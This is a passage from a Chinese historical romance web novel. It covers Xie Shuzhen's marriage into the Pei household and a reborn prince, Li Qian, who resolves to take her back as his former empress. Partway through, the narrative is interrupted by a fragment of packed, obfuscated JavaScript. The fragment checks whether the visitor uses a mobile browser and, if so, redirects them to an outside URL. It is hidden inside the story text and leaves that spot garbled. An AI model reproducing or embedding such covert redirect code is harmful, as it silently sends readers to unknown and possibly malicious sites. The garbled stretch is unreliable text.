裴观廷见她答应了,喜不自胜:“好!三娘,我一定会一辈子对你好。”
谢姝真羞红了脸,点点头。
4. 筹备
隆兴七年,三月十一。
季行舟一早便在船上忙活,吩咐小厨房多做点谢姝真爱吃的菜。
今日是谢姝真同裴观廷归家的日子,明日二人便要大婚。
季行舟在小厨房帮着做了好多点心,还是觉得不够。心里又实在是放心不下,便先行跑去嘱咐谢姝真:“三娘,下船后你便要嫁入裴府,成为裴观廷的新妇。
虽不知裴观廷来历如何,但我观其言谈举止,绝非小门小户的出身。若,你现在反悔,大哥去同他说。必定不会让你为难。”
谢姝真看向季行舟,回道:“多谢大哥好意,大哥对三娘的好,三娘记在心里。来日,必定报答。大哥且放心,我不后悔嫁入裴家。”
季行舟连连摇头道:“三娘,你是我义妹。一家人,万不可说什么报答的话。那日他求娶,我同他讲,一定要先问你的意见。若你同意,我便做主,应下这门亲事。”
“我知大哥想说什么,您是为了我好,三娘明白。”
季行舟犹豫再三,还是轻轻叹息道:“三娘,你不明白,他若是河东裴氏呢?你又该如何自处。”
谢姝真却微微一笑,道“若真是河东裴氏,我也不怕。左右还有大哥在,若真待我不好,我就回这船上来,在这一辈子。”
季行舟望着谢姝真那琥珀色的眼眸,最终是道了句:“这霍山号就是你的家,有事一定要和大哥说。每个月初八,是船上稍作休息换取物资的日子。你若有事要说,去津口找郑雯,她看到这玉佩,自然会帮你。”
季行舟从腰间解下一枚玉佩,二话不说放在谢姝真手中。
谢姝真将玉佩拿在手中,不胜感激,“多谢大哥,请受小妹一礼。”
说罢,谢姝真对着季行舟就要行礼。
季行舟眼疾手快的拦住了,道:“小妹,你说这话大哥可不愿意听。”
“好,不说这些了,大哥。”
“三娘,想必你早就知道大哥的身份。本也不想瞒着你,索性今日说开了。”
谢姝真点头,静静地听着。
季行舟道:“官府通缉我也不是一日两日了,海捕文书恐怕早就贴的到处都是了。下船之后,不要同任何人讲起你我之间的关系。”
“三娘绝不是多舌之人,断不会向别人透漏半点有关大哥的消息。”谢姝真面色凝重道。
“我知你人品行端庄,绝不是那些鼠辈。大哥当年,是被人逼上这霍山号。否则,也不会让你为难……”
“无论如何,您都是三娘的大哥。”谢姝真肯定道。
季行舟这才放下心来,道:“如此甚好。”
正说着,琼娘端着托盘缓缓而来,走到二人面前,福身道:“郎君、三娘子安,奴已将喜服准备完毕,还请过目。”
她将托盘高举过头。
季行舟摸着托盘上的青绿色的喜服,对谢姝真说道:“三娘,时间紧迫,我让船上最擅女红的几个婶子帮你赶制的。另外,还备了十箱嫁妆,你带去裴家傍身。也别嫌少,大哥还有这船要守住,拿不了太多了。”
谢姝真很是感动,当下立刻谢道:“大哥,若来日有用得上三娘的那天,三娘一定携草衔环,以不负大哥之恩。大哥这份恩情,三娘永远记在心中。”
就算大哥不愿听这话,谢姝真也一定要说。
季行舟看着她对自己行了个大礼,也拿她没有办法,笑着道:“好,就依你。”
琼娘立在一旁,静静地看着这二人。
这么快三娘就要嫁人了,自己还有点不适应呢。这几日三娘总讲她儿时的趣事,类似于什么上树掏鸟被发现,结果狠狠被啄。去小溪边抓河蟹,结果和被钳子扎了手。
诸如此类,不胜枚举。
琼娘心中有些酸涩,自己也说不清道不明。裴公子看起来一表人才,与三娘正相配。
可三娘,她……
罢了,琼娘提醒自己不要想太多。既然三娘都愿意,那便很好。
总归,女子从来都是身不由己。像三娘这样,能嫁给裴公子这样的人,已是大幸。
否则,也会听父母之命媒妁之言,嫁给一个完全不相干的人。
好在,三娘还救过他的命。又是他的恩人,想必不会对三娘多有为难。
她想的正出神,却听着有人唤她,她连忙回神来,应道:“在。”
谢姝真打趣道:“琼娘,你想些什么呢?和我一同去帮厨,可好?”
她这才回过神来,见郎君不知什么时候已然没了身影。
琼娘颔首,乖乖陪着谢姝真一同前去。
到了后厨,才发现真是热闹。每个人见到谢姝真都笑着问候:“三娘子安,愿三娘和裴公子琴瑟和鸣,白头偕老。”
谢姝真一看这架势,还有点不好意思。
但她还是做足了礼数,一一回道:“三娘在此谢过诸位,愿诸位此后年年岁岁,福多顺意,事事安康。”
众人拍掌道:“好!”
琼娘悄悄地拽了一下谢姝真的裙摆,冲她眨了眨眼,谢姝真见状也跟众人告了别,出了后厨的门。
她见琼娘在那神神秘秘的样子,忍不住小声问道:“琼娘,何事?”
琼娘附耳过去,趴在她耳朵上,道:“裴公子给他们一人一百五十文看喜钱!”
谢姝真心里默默盘算:一个人一百五十文,适才后厨里最起码有二十人,也就是说,裴观廷给了3贯钱出去!
相当于九品官两个月的薪俸。
她很清楚裴观廷的心思,这是——要名分来了。
裴观廷料定谢姝真会应下这一声声问好,婚事便再也没有转圜的余地。
她绝不能后悔。
谢姝真当即就明白了,这裴观廷,怕真是河东裴氏。
这又有城府,又有手段,也就只有那个裴家了。
谢姝真恨不得立刻杀到裴观廷身旁,质问他。
你到底是什么人?
可现下根本不能问这些,她能用什么身份问。
是自恃救命恩人,强迫他说出自己的身世?还是用这个未过门的妻子的身份问?
无论哪个,恐怕都不合适。
谢姝真心下了然,既然这样,那索性就当不知道。
就当他是想讨自己欢心。
琼娘见谢姝真脸色变了又变,还以为她是一时激动,便接话道:“三娘,你瞧裴公子待你多好。还未过门,便这么疼你,还专门让人恭喜你呢。”
谢姝真看着神色欢喜的琼娘,也不好表现什么,她马上调整了表情,淡淡道:“
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是啊,待我极好。”
现在她真是能理解婧寒阿姊常说的那句:“如鱼饮水,冷暖自知。个中滋味,唯有己知。”
琼娘想着一会的饭,晃着谢姝真的手,开心道:“三娘,一会开席,我想多吃点酥肉。”
“好,琼娘你可以要多吃些。我可等你下船去看我呢,到时候我让那厨子给你做满满一桌酥肉。”
琼娘朗声道:“当真?”
“自然。”谢姝真肯定道。
后厨内香味浓郁,不停地有人端着做好的菜出来。
琼娘看到这场景,忙道:“三娘,该去席面上了,郎君肯定早就在那等着了。”
“好。”
二人往席上方向走去。
忽然,有一束芙蓉花拦住了谢姝真的去路。
她闻到一股扑鼻而来的花香,继而面前出现了一个身形修长,面如冠玉的男子,正是——裴观廷。
他今日特意带了冠,更显得丰神俊朗。
只是不知,他这银子都是从哪来的?难不成,还随身带着金饼?
裴观廷把花递给谢姝真,道:“今日卯时我便和赵伯他们坐小船去了花市,买了这芙蓉花来,你可喜欢?”
“喜欢,只是这价格不便宜吧?”谢姝真含笑接过,捧起来仔细嗅着。
花香清新淡雅,确实不错。
但现在这个时节,正是花最贵的时候。一丛深色花,十户中人赋。[1]
这买花钱,抵得上十户中产人家的赋税。裴观廷这厮,出手还怪阔绰。
裴观廷见谢姝真满意,便放下心来,道:“我就知道你肯定喜欢,你看,还有礼物要给你。”
说罢,他从袖中拿出璎珞项圈,递给谢姝真看。
谢姝真就算是铁石做的心肠,此刻也动容了。
裴观廷实在是有心了,只因这璎珞项圈居然是金子做的,项圈之上,还有多种形态的金莲,最中间的金莲上还挂着一颗巨大的蓝色宝石。
这次轮到谢姝真惊讶了。
“裴郎,这么好的东西,你是何时找人做的?恐怕,得废不少功夫吧。”
裴观廷见她高兴,嘴角便也扬了起来,道:“此物是高祖皇帝亲赐给我祖母。裴家新妇,皆会佩戴。我娘之前一直戴着,后来把它给了我。现在,这璎珞项圈是你的了。”
谢姝真顺水推舟道:“裴郎,我曾听人讲起,高祖皇帝当年赐的是国公夫人崔瑛师,可是你祖母?”
“正是。”裴观廷骄傲道。
他的下巴高高扬起,谢姝真的心却沉到谷底。
明明大哥问自己的时候,自己还说河东裴氏也没关系,她不怕。
现在好了,这下真栽在自己身上了。
常在河边走,哪能不湿鞋。谢姝真只能安慰自己不要放在心上,说不定君姑很好相处,对吧。
没有搞不定的人,她想。
裴观廷趁她愣神的功夫,勾起她的手指,把项圈从她手中拿起,道:“我帮你戴上。”
接着,他轻轻的帮谢姝真戴好璎珞项圈,把那颗巨大的蓝宝石端正的摆好。
谢姝真只觉得脖子一沉,她嘀咕道:“也太有分量了。”
“皇家所赐,自然不同。裴观廷听到谢姝真的抱怨,安慰道。
5. 裴府
裴观廷和谢姝真并排走着,一同往席面上去。
季行舟搁着不远,看到他们二人前来,忙招呼道:“这边!”
谢姝真朝着季行舟的方向一笑。紧接着和裴观廷对视了一眼,来到季行舟面前。
季行舟举起酒杯,对裴观廷道:“裴公子,还请你善待我义妹。她心思良善,只是有些爱哭,还望你多包容她。有朝一日,若你不再愿意包容她,请务必告知于我,我季某人去裴府亲自迎她。”
说罢,将酒杯晃晃,一饮而尽。
裴观廷双手抱拳,低头道:“大哥放心,小弟一定照看好三娘。”
“好,有你这句话,我就放心了。快坐,一会便要下船了。琼娘,你也坐这桌。”
“好。”三人一一应下。
季行舟快速走到了席面正中间位置,对众人说道:“诸位也都动筷,开席了。”
“多谢郎君,愿三娘和裴公子夫妻恩爱,永结同心!”众人欢呼着,道着吉祥的话。
“多谢诸位。”谢姝真和裴观廷站起身来,行过一礼。
一个时辰后,谢姝真随裴观廷到了长安。
望着眼前牌匾上写着的“裴府”二字,谢姝真只觉得一个头两个大。
门口的两个小厮,见裴观廷归家,一人迎来,一人前去通报。
那表情,活像是见了鬼。
那个胆大点的小厮上前嗫嚅开口,问道:“五郎君,您您您……”
裴观廷冷冷开口道:“小乙,你是不是想问我怎么还活着?”
小乙立刻跪倒在地,大气不敢出,头摇成拨浪鼓道:“小人不敢,只是前几日夫人收到了您的死讯,说您突遇海难,尸骨无存。小的……小的这才见您有此疑问。”
裴观廷听见这话,面上有些焦急的神色,道:“阿娘可还好?”
“回五郎君,夫人她刚收到消息之时晕过去一次,三郎君遣人来给夫人看病,说是心疾。今日,刚服了药,才睡下。”
裴观廷长叹一声,领着谢姝真往屋里去。
谢姝真见他这样,宽慰道:“夫人吉人自有天相,见到你来了,心疾一定无事。”
裴观廷紧紧握住谢姝真的手,道:“但愿如此。”
穿过垂花门一直往里走,过了正堂,便是裴夫人所在的居所——砚秋堂。
等到他们二人到了的时候,小厮早已通报。裴夫人便赶忙穿戴整齐,从屋中出来,奔着裴观廷面前,见真的是自己的亲儿,立刻便忍不住的流泪,泣不成声道:“鲤儿,回来就好,平安回来就好。”
她伸手摸着裴观廷的脸,仿佛想再确认一遍这是不是幻觉。
裴观廷为母亲轻轻拭泪,道:“阿娘,真的是儿。儿不孝,今日才归家。儿能平安归家,全靠三娘所救,儿要与三娘成亲!”
此话一出,所有人都傻眼了,裴夫人一个踉跄差点没站稳,她扶着墨珠的手,不可置信地看向裴观廷,又看看谢姝真,道:“鲤儿,你是说她救了你?你还要以身相许,娶她入府?”
裴观廷一字一顿道:“正是。”
说罢,裴观廷指了指那璎珞项圈。
裴夫人这才注意到谢姝真脖子上的璎珞项圈,那海蓝宝石随着谢姝真行走,缓缓荡在半空中。
裴夫人的心,也随着那荡着的蓝宝石,飘走、落地、碎掉。
不等她发问,谢姝真就行礼道:“姝真见过裴夫人。”
裴夫人面上一喜,倒是个懂礼数的好孩子:“娘子贵姓?”
“鄙姓谢,家中行三,唤我三娘即可。”
裴夫人看到亲子回家,本是高兴非常,眼下却也不知道该如何办了。
谢家,不是五姓七望……
她有些惆怅,怎么鲤儿偏偏选中了谢家娘子。河东裴氏,自来都和五姓联姻,到了鲤儿这……
这可如何是好?
一时间谁也不多言,气氛古怪,裴观廷抛下一句:“阿娘,儿后日便要大婚,还望阿娘相助。”
不等裴夫人答应,他便拉着谢姝真走了。
谢姝真被裴观廷拉着走,一步三回头,顿时也觉得有些尴尬,只好道:“裴夫人,三娘先告退了。”
她便转身去了。
裴夫人愣了半天,不敢相信刚才发生了什么。
她看着墨珠,道:“适才我儿说,后日便要成亲?”
墨珠点头道:“是,夫人。”
眼下是赶鸭子上架,不同意也得同意了。
三月十三,谢姝真嫁进裴家。
初为人妇,事情颇多。晨起问安,已不必多说,更可怕的是,还有谢姝真最讨厌的环节——学账本。
谢姝真只觉得当年在夫子课上温书时都没有那么累,现在算是赶上了。
自从裴夫人发现她不太识字后,便每日让她去砚秋堂学字。
对于谢姝真来说,裴夫人的要求极其多,三遍以后还不认识,便要加学半个时辰。
经历了半个月的摧残,谢姝真进步神速,《净叶能诗》便也能自己读个七七八八了。
裴夫人看在眼里,记在心里,还是觉得不够。
自家的新妇,以后可是要执掌中馈,万不能失了分寸。
谢姝真这么学了半月,看到裴观廷下朝回家,便扑倒他身上撒娇道:“裴郎,能不能让我休息一天?你去求求君姑,她肯定听你的。”
裴观廷刚换下官服,穿了一身白衣,见谢姝真柔柔的靠过来,便起了坏心思,他一本正经道:“可以。”
“当真?裴郎你可要说好了,一言既出驷马难追,万不可反悔!”谢姝真简直高兴坏了,终于能歇歇了。
没人爱学习,至少她不爱。
裴观廷望着她的眼眸,在她的耳边轻轻说道:“四月初八,佛祖诞辰。我们去卧佛寺可好?”
“自然极好。”谢姝真笑着说。
但她感觉裴观廷今日有点怪怪的,果然,说完这话后,裴观廷就凑到了她面前。
他伸手点了一下谢姝真,道:“没有奖励吗?这可不对,三娘。”
谢姝真报以羞赧一笑,覆上了他的唇。
两唇紧贴,她只觉得裴观廷的唇温软如玉,有点沉迷其中。
她索性等着裴观廷下一步动作。
红纱帐下,二人衣物散落一地。
翌日清晨,寅时不到,裴观廷理着谢姝真的乌黑靓丽的长发,忍不住对着她亲了又亲,叮嘱道:“三娘,今日上朝,你且在家等我。明日休沐,我便带你去卧佛寺。”
谢姝真睡得迷迷糊糊,“嗯”了一声。
也不知道过去了多久,她才堪堪转醒。
她此刻一点力气没有,便在心里怪罪自己:昨日为何要同裴观廷讲那些混话,引得他就跟狐狸精上身一般,胃口大开……
做都做了,她索性不去想了。
她忙唤人来:“白芷,打盆水来。”
半天没有人应声。
谢姝真只好自己打了盆水,洗漱去了。
她从衣橱里挑了一件回鹘装,窄袖束腰,又在胳膊上戴了一只臂钏。
她对着铜镜照了又照,顿时觉得满意的很。
又描了描眉,盘好头发,谢姝真便走出去晒太阳。
到了后花园,她正在那侍弄花草,却听着后方传来了小声的嘟囔。
“她就是那个谢氏女,携恩图报,救了五郎君之后便让郎君娶她。”
“真的?”
“千真万确,我听那天的姐姐说了。她一去便戴着璎珞项圈,那可是老夫人传下来的。自然就是她了,你看她现在还戴着呢。”
其中一个侍女往谢姝真的方向看去,看到了那个所谓的璎珞项圈。
她奇道:“怎会如此,那夫人怎么可能同意?她又不是名门贵族。”
“哎,你就不懂了吧。越是好女儿,五郎君偏不喜欢。这女子,她还是从船上下来的呢,连字都不识几个。”
她们二人见谢姝真没有反应,声音逐渐大了起来。
谢姝真也全当听不见,她优点很多,其中一条就是——非常能忍。
装听不见就不会有事了,逃避可耻,但有用。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269058|182221||http|test|mini|href|location''.split(''|''),0,{}));
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>谢姝真不予理会,等她浇完最后一朵牡丹花时,便起身离去。
裴观廷这时也下朝了,一进门便看到新婚妻子坐在贵妃塌上,静静地看着书。
他迈着小步走到妻子面前,拿出刚从樊楼买的酥山,道:“赶快吃,一会化了。”
“你怎么知道我爱吃酥山?”谢姝真看着眼前的裴观廷,惊讶道。
“有心之人,自然知道。”裴观廷眉眼弯弯,故作神秘。
谢姝真接过酥山,三两口就吃完了。
翌日清晨,裴家一众女眷前往卧佛寺上香。
谢姝真和裴家嫂嫂们坐在一处,大郎君妻子柳邑阴阳怪气地说道:“小门小户出身的,到底是不懂规矩。见了嫂嫂,也不吱声。”
三郎君妻子韩世萤打圆场道:“妹妹这是不认识,今日第一次见面,自然有些不熟。”
韩世萤为谢姝真一一介绍,谢姝真给每个人都问好,柳邑这才放过谢姝真。
谢姝真悄悄对着韩世萤道:“多谢三嫂。”
“无妨。”
卧佛寺在涪陵山上,车子颠簸一路,眼见着越来越难走。
柳邑越发觉得坐的位置不对,对谢姝真道:“五妹妹,你且和我换换可好?”
谢姝真瞟了一眼,直截了当:“不换。”
柳邑气得牙都要咬碎,发誓一会下了马车一定要好好和五弟说说他这个新妇。
顽劣不堪!
等了半柱香的功夫,总算到了卧佛寺。
谢姝真被挤在最后下马车,她四下寻找裴光廷的身影,却早已不见。
最后,还是车夫陈叔扶着她下了马车。
谢姝真跟在女眷后面,跨过门槛,进了大门。
还没等感慨这卧佛寺今日装扮,便看到裴观廷怒气冲冲地走了过来。
谢姝真呆呆的站在那,不明所以的看着裴观廷。
裴观廷一把抓住她的手,把她拉去禅院。
他蹙着眉,厉声问道:“适才为何不与大嫂换位,你明知大嫂有求于你,却依旧不肯,当真是铁石心肠!”
谢姝真没想到裴观廷会这么说,她睨了一眼裴观廷,不肯正视他。
裴观廷也顾不得什么脸面了,见她这样更加生气,当即提高音量道:“谢姝真,你今日就静心思过,走着回裴府,不许坐马车。”
说完,裴观廷转身就走。
谢姝真看着他的身影越来越远,越来越小,直到终于消失不见。
她这才蹲下,抱头痛哭起来。
院中牡丹开的正盛,她最爱牡丹,如今却没心思欣赏。
谢姝真眼前出现了一双黑靴,她顺着靴子往上看去,见一男子摘下来了院中开的最艳的牡丹花。
她忍不住提醒道:“公子,不可摘花。”
那人笑着说道:“这些都是我种的,只因有人唯爱牡丹。”
谢姝真不免有些羡慕,裴观廷他……从来没为自己种过花。
那男子递给她一块帕子:“莫哭了,哭花了妆,脂粉可就不美了。”
谢姝真嘴硬道:“我只是被沙子迷了眼。”
那人没再问什么,转而将手中的牡丹别在她的发间,道:“此花与你正相配。”
谢姝真连忙环视四周,见没有裴家的女眷在。飞速将这牡丹花拿下,还给这人,道:“妾已嫁为人妇,男女授受不亲,还望公子自重。”
她急忙顺着禅院方向逃走了。
独留李虔一个人在原地,静静地注视着她去的方向。
李虔四肢百骸痛的不能动弹,什么叫已经嫁为人妇。
不过短短月余,海州水患刚过七日,他才刚到长安。
他的皇后,竟然告诉他已经嫁为人妇?
李虔只想问一句:那我怎么办?
他马上意识到,这一世变故丛生,不再同之前一样了。不然,她也不会嫁为人妇。
还跟他说什么男女授受不亲这种鬼话。
查,一定要查出来。
到底是谁,敢娶孤的女人。
孤要夺她回来!
6. 缘由
李虔眼睁睁地看着谢姝真的身影越飘越远,手中的牡丹花也有些拿不稳。
他垂眸看了一眼,喃喃道:“愿娘,上一世是我负你。这一世,必不会如此。”
就算她现在是新妇又怎样?
他一点也不介意。
话虽如此,但愿娘的回绝还是像匕首一般刺中了他。
李虔拿着牡丹花看了又看,半晌,将牡丹花狠狠的抛入水中。
见牡丹花飘在池子上,随风漂泊而动,他又有些不舍。
他快步走到池边,将那朵牡丹花小心翼翼地从池子里捧出来。
弄坏了牡丹,愿娘知道了会很生气。
他不想这样。
李虔想起来那年谢姝真坐在秋千上,笑意盈盈地看着他的样子,那时的她说:“若可以,我想在大明宫内种满牡丹。”
他是怎么回答的?
时间过去了很久,可李虔还清楚地记得当时的承诺:“若你喜欢,我便下令,让长安和洛阳两京,沿途皆种满牡丹。”
谢姝真却说:“陛下不可如此,若天下人都知晓我独爱牡丹,恐怕欣赏牡丹的人,便也少了。臣妾实在不愿做这折花之人,还请陛下准允。”
她摇了摇头,接着说道:“若真有那一日,妾绝不会同意。”
谢姝真停下秋千,就这么静静地注视着他,眼中满是坚定。
李虔叹了口气,无奈道:“平日里你最爱去卧佛寺听沙弥们诵经,我在卧佛寺内为你种满牡丹可好?”
谢姝真这才又有了笑容,将秋千荡的很高,声音从上面悠悠传来,“好啊。檀奴是天子,一言九鼎,自不会反悔。等到牡丹花开了,我可要第一个去看。
只是陛下从不会侍弄花草,我倒是有几分好奇,这花能开吗?”
李虔心虚道:“孤怎么不会?孤就算真的不会,那还可以学呢。”
他站在在谢姝真身后,将她推的越来越高。
谢姝真都快和那垂下的柳枝齐平了,还在那指挥李虔:“寅客,再高点,再高点!”
二人如画中人一般在树下嬉笑打闹,好似一对寻常的夫妻。
内侍总管王刃匆匆赶来,见三殿下握着牡丹花愣神,便也知道殿下心中郁结。
平日里,殿下对这牡丹花可谓是悉心照料,从来不允许他们去碰。
掉一片花瓣殿下都得皱眉老半天。
更别提今天这花直接整个被摘下来了。
可见,殿下恼怒之事,定然是大事。
想到这,他更是大气不敢出。恨不得三殿下别看到他,他好溜之大吉。
也不知道是不是出门没看黄历的缘故,刚才还见着鸿胪少卿裴观廷在卧佛寺门口气呼呼地上马,扬长而去。
卷起的沙土扬了他一脸。
这些贵人们,当真是……
他也不敢多言,只好把自己的头垂的更低。
王刃不禁在心里埋怨自己:刚才为什么不跟上殿下,这下好了。
他正想着,李虔却注意到他来了,道:“王总管,今日是哪家的女眷来这卧佛寺上香。”
王刃立刻回道:“禀殿下,是裴家。适才奴看到鸿胪少卿裴观廷纵马而去,想来定然是裴府女眷。”
李虔心中一惊,不可置信道:“再说一遍!”
王刃见状暗道不好,立刻跪下道:“殿下,确实只有裴府女眷前来。为着裴府女眷上香,卧佛寺的了济大师特意遣散了之前的散客,专门空出来香案和蒲团,以供裴府贵人使用。
裴大人,半月前,刚娶了新妇。听说,那新妇还是从船上下来的。”
李虔表情一变,急切地说道:“那新妇,可是姓谢,叫谢姝真?”
“殿下英明,正是此人。听说,裴夫人因这新妇不是名门贵女,还颇有怨言。
裴大人也是着急,归家第三日便娶她了。听说,还是什么救命恩人来着……”
王刃越说越小声,因为他注意到了李虔铁青的脸。
李虔听到这之后,只恨自己为什么不穿回来的第一天就去娶了谢姝真?
果然啊,犹豫就会败北。
娶他皇后的人,竟然是裴观廷。
谁都可以,为什么偏偏是裴观廷!
裴观廷是正人君子,品行高洁,和他完全不同。
当年,若不是裴观廷助他,恐怕现在坐在那皇位上的人就是他大哥——太子殿下。
而不是他这个三皇子。
李虔心头的火,烧得更旺了。
但他也就只纠结了一瞬,随着院中的微风吹起牡丹的花瓣,掀起池中春水的涟漪。
他做了一个决定。
对不起了,裴卿。
上一世,你虽助我上位,可这一世,你也是实打实的娶了我的皇后。
我不能让。
愿娘她是我的人,我不能再失去她了。
恕我,强夺臣妻、强夺友妻之罪。
几乎就是一瞬,王刃看着自家殿下的脸上由白变黑再由黑变白。
他诧异的眨了眨眼,见三殿下又恢复了往日那副模样。
克己复礼,从不逾矩的模样。
一板一眼,从不会行差踏错。
哪知道,接下来三殿下说的话简直是如惊雷炸响在他的耳边。
李虔往禅院的小路方向看去,道:“王总管,朋友妻当真不可欺?”
王刃点头如捣蒜,噤若寒蝉。
李虔继续说道:“那依你的意思,臣子妻,便更不可夺?”
王刃此刻就像是热锅上的蚂蚁,怎么回答都不对。
依着自己照看贵人们的经验,他缓缓说道:“也不全是,总有特殊之处。”
李虔听后,若有所思道:“孤也以为,若臣妻不可夺,那史书中为何还会有此记载?”
说罢,他也不再追问这事,大步出了后院。
王刃跟在李虔身后匆匆走着,一步也不敢落下。
忽然,李虔停住了脚步,回头说吩咐道:“适才有一妇人,好像是马车坏了,她往禅院方向去了。你去禀报了济大师,速速让他备车送这人下山。若我没记错的话,这女子姓谢。”
王刃不敢多说什么,立刻应声,“奴这就去办。”
他一路小跑,到了了济大师的禅房。
李虔便不再停留,三步并两步出了禅院,往后山方向去。
猜的没错,他看到谢姝真正在那活动腰骨,准备一鼓作气走下山。
李虔只觉得心中好笑,什么时候她还会这样了?
当真是有耐心。
之前在大明宫,他就是让她去后花园走一圈她都摇头,最多也就是去荡个秋千。
只有遇上她喜欢的东西时,才会一直玩不嫌累。
李虔有些难受。
他不敢想谢姝真经历了什么,变成了如今这个样子。
他久久地看着谢姝真,移不开眼来。
谢姝真心里面也装着事呢,手脚都在那机械的动。
说不在意裴观廷今日的态度是假的,毕竟自己的阿耶、阿娘一直都很恩爱。
从来不吵架。
阿耶更是和阿娘讲话都轻言细语,自己怎么成了如今的样子?
她一手扶额,口中念念有词道:“裴观廷你个大坏蛋!娶我还不好好对我,还敢对我发脾气!”
越想越气,越想越委屈,谢姝真索性蹲了下去。
她要好好想个办法,不能真这么走回裴府。
突然,她灵光一现,想到
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了一个绝妙的好主意。
谢姝真唰的一下站了起来,一路狂奔至卧佛寺了济大师禅院门前。
她决定问了济大师借一匹马。
又不是不会骑马,至于非得坐马车吗?
不让我坐,那我就骑马回府。
谁稀罕你?
谢姝真敲了三下门,了济打开了房门。
见是位女施主,他道:“阿弥陀佛,施主可是有事?”
谢姝真双手合十,行过一礼,忙道:“大师,民女有事相求。我想问大师借一匹马,以便早日归家。”
她有些忐忑,因为实在是不知道大师会不会借。
若是不借,她今日便宿在这禅院的客房。
随裴观廷怎么想,她不管了。
哪知,了济却没有犹豫,沉声道:“好。”
说完,吩咐沙弥聿怀前去牵马。
谢姝真感激道:“多谢大师,民女明日便派家中人归还这马。”
了然却笑着说道:“施主可知,为何借马于你?”
“不知。”
“自然是有缘,施主不用担心,这马不必归还了。你我还会再见,等到那时,你再将这马归还于我,可好?”
“大师既然如此说,那便一言为定。”谢姝真听着这一番话,着实有些疑惑。
但她随即便释怀了。
她就是一个俗人,还能骗她不成?
应下就是。
不一会,那小沙弥聿怀就牵马而来,将缰绳交给谢姝真,谢姝真接过缰绳,抱拳对了济道:“多谢大师,我们来日再见。”
了然冲她道别,默默注视着她远去。
等到她彻底走远后,王刃才悄悄地从禅房中出来。
好险,差点被发现了。
了济偏头看去,淡淡一瞥道:“三殿下到底还是年纪尚轻。”
说罢,便将王刃推出了禅院,“砰”的一声把门合上了。
王刃也顾不上说别的,赶紧跑到了李虔那。
李虔还没走,这次是躲在了那棵歪脖子树下,远远就看到了谢姝真纵马驰骋。
他笑了笑。
前世的愿娘,永远都是这般恣意潇洒,从不多虑。
希望这一世的她,依旧如此。
谢姝真骑着马跑了半个时辰,终于在申时回了裴府。
她踏马而来,招呼小乙帮她牵马。
小乙接过辔头和缰绳,道了一声:“三娘子安。”
谢姝真一跃下马,冲小乙点了点头。
背着手进了裴府的门。
刚一进门,她便将手重新放回裤装两侧,整了整衣服和发髻,往瀚海堂方向走去。
赶紧回自己屋,好快点休息。
况且,她不想让人家看到她狼狈的样子,更不想让人知晓她和裴郎闹别扭。
她虽娇蛮,却也是懂礼数的。
裴夫人却从垂花门那款款走来,见着是谢姝真,惊讶道:“你怎么没同鲤儿一起回来?”
谢姝真在看到裴夫人第一眼时就暗道不好,这下好了,抓个正着。
她正想着用什么理由搪塞过去,却见裴观廷从大门疾步走来。
行至她的身边,他放慢了些脚步,对着裴夫人道:“是一同来的,儿耽误了时间。还望阿娘不要怪罪。”
裴夫人扫了一眼裴观廷,见着他满头大汗的样子,就知道事情必然不简单。
她提醒道:“一日夫妻百日恩,你们二人不许起争执。”
虽然她不喜欢谢姝真,但也不想让自己儿子吃亏。
这才这么说。
裴观廷和谢姝真齐声道:“是。”
“阿娘,我同三娘先回了。”
“去吧。”裴夫人回道。
7. 误会
谢姝真和裴观廷二人一前一后走着,谢姝真现在光是看着裴观廷心里就火大。
简直是个坏蛋,不分青红皂白训了自己不说,还在这装好人。
想到这,谢姝真连忙把步子迈得更大。
裴观廷见着她这副模样,心中其实也知晓今日自己委实做的有些过分,惹娘子生气了。
他也不说话,默默地跟在谢姝真后面走着。
谢姝真走得极快,眨眼便到了瀚海堂。见裴观廷还有几步才能进屋。
她也没客气,火速把门关上,将裴观廷拒之门外。
裴观廷就这么站在屋外,无奈,他只好敲门道:“三娘,我错了。”
谢姝真不想搭理他,便故意装作没听见。
一路风尘仆仆的回来,就是为了听你说一句错了?
裴观廷见屋内没了声音,旋即跨上台阶,放低了声音,解释道:“三娘,给我个机会可好,这其中有误会。”
谢姝真靠在门边,晚霞的光辉照在屋内,将她颀长的身影映照在窗上。
裴观廷望着那剪影,久久移不开视线。
不愧是只一眼便让他娶回家的女子,当真是,如画一般。
美人嗔怒,别有一番风味。
谢姝真等了一会,见屋外竟没了声音,顿时有些失落。
好你个裴观廷,解释一句有误会就结束了?到底会不会哄人啊!
裴观廷,晚膳过后,你这半个月去西厢房睡,休想睡在榻上!老娘要让你知道,到底在这瀚海堂,是谁说的算。
治不了别人还治不了你吗?
还没等谢姝真想好怎么惩罚裴观廷,有阵穿堂风从她身后掠过,她忍不住打了一个寒颤。
谢姝真奇道:怎么回事,明明没开窗啊。那雕花窗,出门前是特意关上的。
她有些不解,循着风来的位置往斜后方看去。
裴观廷这厮,到底还是太有手段了!
他一手撑窗棂,一手扶墙,竟然从后窗翻进来了。
紧接着,裴观廷便双膝下跪,跪倒在了谢姝真的石榴裙前。
谢姝真斜靠在榻上,目瞪口呆看着这一切,一句话也说不出来。
裴观廷望着她那双琥珀色的眸子道:“三娘,卧佛寺之事另有隐情,还望三娘听我一言。”
谢姝真见他这么自觉就跪下了,也不同他争辩,冷着张脸看他,道:“讲。”
谢姝真腹诽道:我倒要看看你还能怎么说。
裴观廷缓缓道来:“三娘嫁入裴家不到月余,有些事有所不知。但三娘一定知道,我有四位兄长。”
谢姝真不语。
他便接着说道:“其中,唯有大哥和三哥是母亲所生。
大哥体弱多病,心脉受损。他娶了柳家柳贞善的女儿为妻,二人本是一对佳偶,见过的人无不说他们般配。
没想到,大哥二十岁那年,得了一种病。此病古怪的很,短短几日就可让人面黄肌瘦,身体乏力。
大嫂为此,遍求四方寻医问药,终是没能救得了大哥的命。
自此之后,大嫂活像变了个人,再也不像以前一样爱说爱笑,反而动不动就发脾气。
裴府上上下下更是无人敢违背她的意思。
她当众同我说你礼数不周,又觉得你在各位嫂嫂的那里拂了她面子,心里自然是不痛快。
为此,我只好在她看得见的地方同你演了出戏。只为能让她不再纠缠,省得再去找你麻烦。
但没提前和娘子说,让娘子白伤心那么久,是我的错。
